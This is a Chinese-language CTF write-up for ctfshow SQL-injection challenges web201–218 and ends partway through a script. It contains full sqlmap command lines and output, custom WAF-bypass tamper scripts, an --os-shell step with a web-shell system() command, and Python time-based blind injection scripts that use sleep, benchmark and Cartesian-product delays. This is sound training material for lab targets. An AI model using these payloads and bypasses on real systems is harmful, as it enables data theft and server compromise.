方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

payload:

1
0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

最后,用户名为0,密码为userAUTO登陆即可


Web201

sqlmap篇

使用–user-agent 指定agent

使用–referer 绕过referer检查

–batch 是帮助我们在执行过程中自动选择

1
sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap --batch

检测出来是mysql数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 4966=4966 AND 'bEBa'='bEBa

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8736 FROM (SELECT(SLEEP(5)))IxFt) AND 'jXFW'='jXFW

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x716b767171,0x525366586671744a4870585574635a65656d4b796778686f556c527753624d4c736e717545744947,0x716b766a71),NULL,NULL-- -
---

追加参数 –dbs 查一下数据库名

1
sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap --dbs --batch

库名为 ctfshow_web

1
2
3
4
5
6
7
[21:58:29] [INFO] fetching database names
available databases [5]:
[*] ctfshow_web
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

存在名为 ctfshow_web 的数据库,使用 -D 指定这个库,–tables 指定查这个库下的所有表名:

1
sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap -D ctfshow_web --tables --dbs --batch

表名为 ctfshow_user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[22:01:42] [INFO] fetching database names
available databases [5]:
[*] ctfshow_web
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

[22:01:42] [INFO] fetching tables for database: 'ctfshow_web'
Database: ctfshow_web
[1 table]
+--------------+
| ctfshow_user |
+--------------+

使用 -T 参数指定这个表,–columns 查该表下所有的列名:

1
sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap -D ctfshow_web -T ctfshow_user --columns --dbs --batch
1
2
3
4
5
6
7
8
9
10
11
[22:05:12] [INFO] fetching columns for table 'ctfshow_user' in database 'ctfshow_web'
Database: ctfshow_web
Table: ctfshow_user
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| pass | varchar(255) |
| username | varchar(255) |
+----------+--------------+

使用 -C 指定列,–dump 转存数据,查具体字段信息:

1
sqlmap -u https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/api/?id=1 --referer https://a739a2e5-6cc9-4382-9357-313735724665.challenge.ctf.show/sqlmap -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

拿到flag


Web202

使用–data 调整sqlmap的请求方式

get改为了post

其他类似web201

1
python3 sqlmap.py -u https://4b1e49a4-2177-42d4-a9e0-e04e6bc5ccb8.challenge.ctf.show/api/ --data id=1 --referer https://4b1e49a4-2177-42d4-a9e0-e04e6bc5ccb8.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

Web203

使用–method 调整sqlmap的请求方式

–method=METHOD 强制使用提供的 HTTP 方法(例如:PUT)

1
python3 sqlmap.py -u https://cd66cca2-43e7-4c0b-8f07-ada49894debe.challenge.ctf.show/api/ --method="PUT" --data id=1 --referer https://cd66cca2-43e7-4c0b-8f07-ada49894debe.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

错误

发现需要加上–headers=”Content-Type: text/plain” 不然data是以表单形式发送

1
python3 sqlmap.py -u https://cd66cca2-43e7-4c0b-8f07-ada49894debe.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://cd66cca2-43e7-4c0b-8f07-ada49894debe.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain"

Web204

使用–cookie 提交cookie数据

应该需要伪造cookie

–cookie=COOKIE 指定 HTTP Cookie(例如:”PHPSESSID=a8d127e..”)

抓包发现Cookie为

PHPSESSID=92tg4107qhtkril6379gah5l8n; ctfshow=4594231a4d224df0b6e41844c56215eb

1
python3 sqlmap.py -u https://993846a0-4b81-47da-a238-fa74966739bd.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://993846a0-4b81-47da-a238-fa74966739bd.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=92tg4107qhtkril6379gah5l8n; ctfshow=4594231a4d224df0b6e41844c56215eb"

Web205

api调用需要鉴权

发现查询前每次回先访问/api/getToken.php

追加 –safe-url 参数设置在测试目标地址前访问的安全链接

–safe-url=SAFEURL 测试过程中可频繁访问且合法的 URL 地址(译者注: 有些网站在你连续多次访问错误地址时会关闭会话连接

将 url 设置为 api/getToken.php,再加上 –safe-freq=1 表示访问 api/getToken.php 一次:

跑数据库:

1
python3 sqlmap.py -u https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/sqlmap.php --safe-url="https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --abs --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vjf31nfn7u82b2p1pqomtvqadr"

跑ctfshow_web库中的表:

1
2
python3 sqlmap.py -u https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/sqlmap.php --safe-url="https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -tables --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vjf31
nfn7u82b2p1pqomtvqadr"

发现多出ctfshow_flax表

1
2
3
4
5
6
7
[21:55:45] [INFO] fetching tables for database: 'ctfshow_web'
Database: ctfshow_web
[2 tables]
+--------------+
| ctfshow_flax |
| ctfshow_user |
+--------------+

查ctfshow_flax表下的列名:

1
2
python3 sqlmap.py -u https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/sqlmap.php --safe-url=https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns  --batch --headers="Content-Type: text/plain" --cookie
="PHPSESSID=vjf31nfn7u82b2p1pqomtvqadr"

发现

1
2
3
4
5
6
7
8
9
10
11
[21:58:14] [INFO] fetching columns for table 'ctfshow_flax' in database 'ctfshow_web'
Database: ctfshow_web
Table: ctfshow_flax
[3 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flagx | varchar(255) |
| id | int(11) |
| tes | varchar(255) |
+--------+--------------+

查flagx

1
python3 sqlmap.py -u https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/sqlmap.php --safe-url=https://f1a0b90b-a4c0-457e-a0bb-6fe7c7ab957c.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vjf31nfn7u82b2p1pqomtvqadr"

得到flag


Web206

sql需要闭合

还是会先请求 /api/getToken.php

查询语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

查询语句里新增了括号,我们注入也需要将其闭合掉,就像我们闭合单引号那样,对于 sqlmap 它会自动对闭合点进行测试的,常见的就是单引号、双引号、单引号加括号或者双引号加括号。

打上一题的payload

1
python3 sqlmap.py -u https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/sqlmap.php --safe-url=https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=hvbjq2d405aju2kjfstvhtdm32"

可以跑出来可能数据库中的表或者列有改动测试

表名为ctfshow_flaxc 列名为flagv

payload:

1
2
python3 sqlmap.py -u https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/sqlmap.php --safe-url=https://ab5a3a4c-2681-49f2-8374-dec512382efb.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --headers="Content-Type: text/plain" --
cookie="PHPSESSID=hvbjq2d405aju2kjfstvhtdm32"

Web207

–tamper 的初体验

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ /', $str);
}

查询会先请求 /api/getToken.php

发现传入存在过滤空格

空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py

1
python3 sqlmap.py -u https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/sqlmap.php --safe-url=https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/getToken.php --safe-freq=1 -dbs --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=4g1rd2038jt0snt4af12ivfuf6" --tamper "space2comment,versionedmorekeywords.py"  -v 3

测出存在ctfshow_web库

1
python3 sqlmap.py -u https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/sqlmap.php --safe-url=https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=4g1rd2038jt0snt4af12ivfuf6" --tamper "space2comment,versionedmorekeywords.py"  -v 3

测出表名ctfshow_flaxca

1
python3 sqlmap.py -u https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/sqlmap.php --safe-url=https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --columns --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=4g1rd2038jt0snt4af12ivfuf6" --tamper "space2comment,versionedmorekeywords.py"  -v 3

列名flagvc

1
python3 sqlmap.py -u https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/sqlmap.php --safe-url=https://8ec57293-1bf3-4eec-94d2-68120447b260.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=4g1rd2038jt0snt4af12ivfuf6" --tamper "space2comment,versionedmorekeywords.py"  -v 3

get flag

参考链接:

https://blog.csdn.net/whatday/article/details/54774043


Web208

–tamper 的2体验

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

返回逻辑

1
2
3
4
5
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}

过滤空格使用space2comment.py

select会被替代为空格可大小写绕过 使用versionedmorekeywords.py脚本

查询会先请求 /api/getToken.php

测试发现表名存在变动ctfshow_flaxcac 列名flagvca

1
2
python3 sqlmap.py -u https://2f18b665-5b6b-4906-adb3-f70ab0c629ac.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://2f18b665-5b6b-4906-adb3-f70ab0c629ac.challenge.ctf.show/sqlmap.php --safe-url=https://2f18b665-5b6b-4906-adb3-f70ab0c629ac.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=na96c3ao87clqfnakhvvlvu8dp" --tamper "space2comment,versionedmorekeywords.py"  -v 3

get flag


Web209

–tamper 的3体验

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

1
2
3
4
5
//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}

过滤空格 ✳ =

原脚本是把空格改为/**/

myon.py(空格替代非/**/)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue

retVal += payload[i]

return retVal

equaltolike.py like 代替等号

1
2
python3 sqlmap.py -u https://c81dfe97-640c-4966-8d24-e05e1b2139a3.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://c81dfe97-640c-4966-8d24-e05e1b2139a3.challenge.ctf.show/sqlmap.php --safe-url=https://c81dfe97-640c-4966-8d24-e05e1b2139a3.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=vkedu5ak3do445dsng34au2pek" --tamper "myon,equaltolike.py"  -v 3


Web210

–tamper 的4体验

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

1
2
3
4
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

会对查询字符进行两轮 base64 解码和反转

对查询的 payload 进行逆向处理,先反转,再 base64 加密,再反转,再 base64 加密,传入查询后,经过题目的解密和反转处理,最终又恢复到我们正确的 payload 实现注入。

strrev+base64.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = base64.b64encode(base64.b64encode(payload[::-1].encode())[::-1]).decode()
return retVal
1
2
python3 sqlmap.py -u https://ba77b411-b918-490f-81c6-8394705002c2.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://ba77b411-b918-490f-81c6-8394705002c2.challenge.ctf.show/sqlmap.php --safe-url=https://ba77b411-b918-490f-81c6-8394705002c2.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --columns --dump --batch --headers="Content-Type: text/plain" -
-cookie="PHPSESSID=79a6n95mu51e13namt5m4f1bkq" --tamper " space2comment,strrev+base64.py" -v 3

Web211

–tamper 的5体验

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

1
2
3
4
5
6
7
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}

会对查询字符进行两轮 base64 解码和反转 ,同时过滤空格

同时使用space2comment与strrev+base64脚本,注意顺序

1
python3 sqlmap.py -u https://9811e6bf-5122-4ee3-91df-bbb9b9e1971a.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://9811e6bf-5122-4ee3-91df-bbb9b9e1971a.challenge.ctf.show/sqlmap.php --safe-url=https://9811e6bf-5122-4ee3-91df-bbb9b9e1971a.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=ad36opmj2qdfqpq2mgifpoljjd" --tamper " space2comment,strrev+base64.py"  -v 3

Web212

–tamper 的6体验

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

1
2
3
4
5
6
7
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}

过滤增加*无法使用自带脚本使用web209的myon.py

1
python3 sqlmap.py -u https://49627346-46d2-4053-b4b1-eba9b6bf0cd5.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://49627346-46d2-4053-b4b1-eba9b6bf0cd5.challenge.ctf.show/sqlmap.php --safe-url=https://49627346-46d2-4053-b4b1-eba9b6bf0cd5.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=ua7hic99kq3asbgrmsggjprifl" --tamper " myon,strrev+base64.py"  -v 3

Web213

练习使用–os-shell 一键getshell

查询语句

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

1
2
3
4
5
6
7
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}

条件和上一题一样,使用相同脚本

追加 –os-shell 参数

1
python3 sqlmap.py -u https://59276c62-a49b-4f45-9f09-a85e745bb002.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://59276c62-a49b-4f45-9f09-a85e745bb002.challenge.ctf.show/sqlmap.php --safe-url=https://59276c62-a49b-4f45-9f09-a85e745bb002.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables --dump --batch --headers="Content-Type: text/plain" --cookie="PHPSESSID=ua7hic99kq3asbgrmsggjprifl" --tamper " myon,strrev+base64.py"  -v 3 --os-shell

getshell发现存在一些php文件tmpbyejy.php,tmpuczjy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
[20:04:19] [DEBUG] used the default behavior, running in batch mode
command standard output:
---
api
css
images
index.php
js
layui
sqlmap.php
tmpbyejy.php
tmpuczjy.php
---

访问发现上传点上传后门

访问后门

1
pass=system("cd /;ls;cat ctfshow_flag");

取得flag


Web214

时间盲注篇

看wp发现注入点是 ip 和 debug,将 debug 置 1,在 ip 进行注入,采用 post 请求 /api/index.php:

1
ip=sleep(5)&debug=1

发现等待5s后响应说明存在时间盲注

1
debug=1&ip=if(substr(database(),1,1)='c',sleep(3),0)

发现存在延时,而数据库为a时不存在延时说明数据库第一个字母为c

写脚本盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time

url = "http://fb5fed7c-9042-4ad4-b0b7-fe4e1389404e.challenge.ctf.show/api/index.php"
chars = 'abcdefghigklmnopqrstuvwxyz0123456789!@#$%^&*()-={}_,'
result = ""
for i in range(0, 666):
left = 32
right = 127
while left < right:
mid = (left+right)//2
# payload = "if(ascii(substr(database(),{},1))>{},sleep(2),0)" # 猜数据库名
# payload = "if(ascii(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {}, 1)) > '{}',sleep(3),0)" # 猜表名
# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {}, 1)) > '{}',sleep(3),0)" # 猜表名
# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'), {}, 1)) > '{}',sleep(3),0)" # 猜列名
payload = "if(ascii(substr((select flaga from ctfshow_flagx),{},1))>{},sleep(2),1)"
# payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
# payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)"
data = {
"ip": payload.format(i, mid),
"debug": '1'
}
try:
r = requests.post(url, data=data, timeout=1)
right = mid
except Exception as e:
left = mid + 1
result += chr(left)
print(result)

Web215

查询语句

1
2
//用了单引号

返回逻辑

1
//屏蔽危险分子

增加单引号闭合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from time import time
from requests import post
from string import ascii_lowercase, digits

url = 'http://ad1aa042-d624-4c3c-973c-228a72270c88.challenge.ctf.show/api/'
flag = 'ctfshow{'
payload = '\'||sleep(if((select flagaa from ctfshow_flagxc) regexp \'{}\', 2, 0))#'

while True:
for char in ascii_lowercase + digits + '-}':
start = time()
post(url, {'ip': payload.format(flag + char), 'debug': '1'})
end = time()
if end - start > 2:
flag += char
print(flag)
if char == '}':
exit()
break

Web216

查询语句

1
2
where id = from_base64($id);

返回逻辑

1
//屏蔽危险分子

对查询语句增加base64加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from time import time
from requests import post
from string import ascii_lowercase, digits

url = 'http://a373727a-05e4-4b50-970a-17e8caa714fe.challenge.ctf.show/api/'
flag = 'ctfshow{'
payload = 'sleep(if((select flagaac from ctfshow_flagxcc) regexp \'{}\', 2, 0))'

while True:
for char in ascii_lowercase + digits + '-}':
start = time()
post(url, {'ip': payload.format(flag + char), 'debug': '1'})
print(payload)
end = time()
if end - start > 2:

flag += char
print(flag)
if char == '}':
exit()
break


from time import time
from requests import post
from string import ascii_lowercase, digits

url = 'http://a373727a-05e4-4b50-970a-17e8caa714fe.challenge.ctf.show/api/'
db_name = '' # 用于存储数据库名
charset = ascii_lowercase + digits + '_-' # 数据库名常用字符集
position = 1 # 当前爆破的字符位置

# 修正后的payload模板
# payload_template = "sleep(if(substr(database(),{pos},1)='{char}',2,0))" #爆破数据库

# payload_template = "sleep(if(substr((select table_name from information_schema.tables where table_schema = database() limit 0, 1), {pos}, 1) = '{char}', 2, 0))" #爆破表名

payload_template = "sleep(if(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'ctfshow_flagxcc' limit 1, 1), {pos}, 1) = '{char}', 2, 0))" #爆破列名

while True:
found = False
for char in charset:
# 动态生成payload
payload = payload_template.format(pos=position, char=char)

# 发送请求并计算响应时间
start = time()
post(url, data={'ip': payload, 'debug': '1'})
delay = time() - start

# 判断延迟是否超过阈值
if delay > 2:
db_name += char
print(f"当前数据库/表/列名: {db_name}")
position += 1
found = True
break

# 如果遍历完字符集仍未找到匹配字符,结束爆破
if not found:
print(f"\n最终数据库/表/列名: {db_name}")
break



Web217

查询语句

1
where id = ($id);

返回逻辑

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}

过滤sleep

采用时间盲注,sleep函数被过滤,使用benchmark函数,将函数重复执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from time import time
from requests import post
from string import ascii_lowercase, digits

url = 'http://64969c68-798f-4900-b62d-bec75f16b3fa.challenge.ctf.show/api/'
db_name = '' # 用于存储数据库名
charset = ascii_lowercase + digits + '_-{}' # 数据库名常用字符集
position = 1 # 当前爆破的字符位置

# payload
# payload_template = "benchmark(if(substr(database(),{pos},1)='{char}',1000000,0),md5(1))" #爆破数据库

# payload_template = "benchmark(if(substr((select table_name from information_schema.tables where table_schema = database() limit 0, 1), {pos}, 1) = '{char}', 1000000, 1), md5(1))" #爆破表名

# payload_template = "benchmark(if(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'ctfshow_flagxccb' limit 1, 1), {pos}, 1) = '{char}', 1000000, 1), md5(1))" #爆破列名

payload_template = "benchmark(if(substr((select group_concat(flagaabc) from ctfshow_flagxccb), {pos}, 1) = '{char}', 3000000, 1), sha(1))" #爆破flag

while True:
found = False
for char in charset:
# 动态生成payload
payload = payload_template.format(pos=position, char=char)

# 发送请求并计算响应时间
start = time()
post(url, data={'ip': payload, 'debug': '1'})
delay = time() - start

# 判断延迟是否超过阈值
if delay >= 0.5:
db_name += char
print(f"当前数据库/表/列名/flag为: {db_name}")
position += 1
found = True
break

# 如果遍历完字符集仍未找到匹配字符,结束爆破
if not found:
print(f"\n最终数据库/表/列名/flag为: {db_name}")
break

# import requests
# import time
# url = 'http://64969c68-798f-4900-b62d-bec75f16b3fa.challenge.ctf.show/api/'
# str = ''
# for i in range(60):
# min,max = 32, 128
# while True:
# j = min + (max-min)//2
# if(min == j):
# str += chr(j)
# print(str)
# break
# # 爆表名
# # payload = {
# # 'ip': f"'') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},benchmark(3000000,sha(1)),'False')#",
# # 'debug': 0
# # }
# # 爆列
# # payload = {
# # 'ip': f"'') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))<{j},benchmark(3000000,sha(1)),'False')#",
# # 'debug': 0
# # }
# # 爆值
# payload = {
# 'ip': f"'') or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))<{j},benchmark(3000000,sha(1)),'False')#",
# 'debug': 0
# }
# start_time = time.time()
# r = requests.post(url=url, data=payload).text
# end_time = time.time()
# sub = end_time - start_time
# if sub >= 0.5:
# max = j
# else:
# min = j

Web218

查询语句

1
where id = ($id);

返回逻辑

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}

过滤sleep|benchmark

通过笛卡尔积运算来达到延时的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# from time import time
# from requests import post
# from string import ascii_lowercase, digits
#
# url = 'http://f1d3f914-5887-437a-9df7-e7e9552d1f33.challenge.ctf.show/api/'
# db_name = '' # 用于存储数据库名
# charset = ascii_lowercase + digits + '_-{}' # 数据库名常用字符集
# position = 1 # 当前爆破的字符位置
#
# # payload
# # payload_template = "if(substr(database(),{pos},1)='{char}',(select count(*) from information_schema.columns A, information_schema.columns B),0)" #爆破数据库
#
# # payload_template = "if(substr((select table_name from information_schema.tables where table_schema = database() limit 0, 1), {pos}, 1) = '{char}', (select count(*) from information_schema.columns A, information_schema.columns B), 1)" #爆破表名
#
# # payload_template = "if(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'ctfshow_flagxc' limit 1, 1), {pos}, 1) = '{char}', (select count(*) from information_schema.columns A, information_schema.columns B), 1)" #爆破列名
#
# while True:
# found = False
# for char in charset:
# # 动态生成payload
# payload = payload_template.format(pos=position, char=char)
#
# # 发送请求并计算响应时间
# start = time()
# post(url, data={'ip': payload, 'debug': '1'})
# end = time()
#
# # 判断延迟是否超过阈值
# if end - start > 0.35:
# db_name += char
# print(f"当前数据库/表/列名/flag为: {db_name}")
# position += 1
# found = True
# break
#
# # 如果遍历完字符集仍未找到匹配字符,结束爆破
# if not found:
# print(f"\n最终数据库/表/列名/flag为: {db_name}")
# break


from requests import post
from string import ascii_lowercase, digits
from time import time

url = 'http://f1d3f914-5887-437a-9df7-e7e9552d1f33.challenge.ctf.show/api/'
flag = 'ctfshow{'
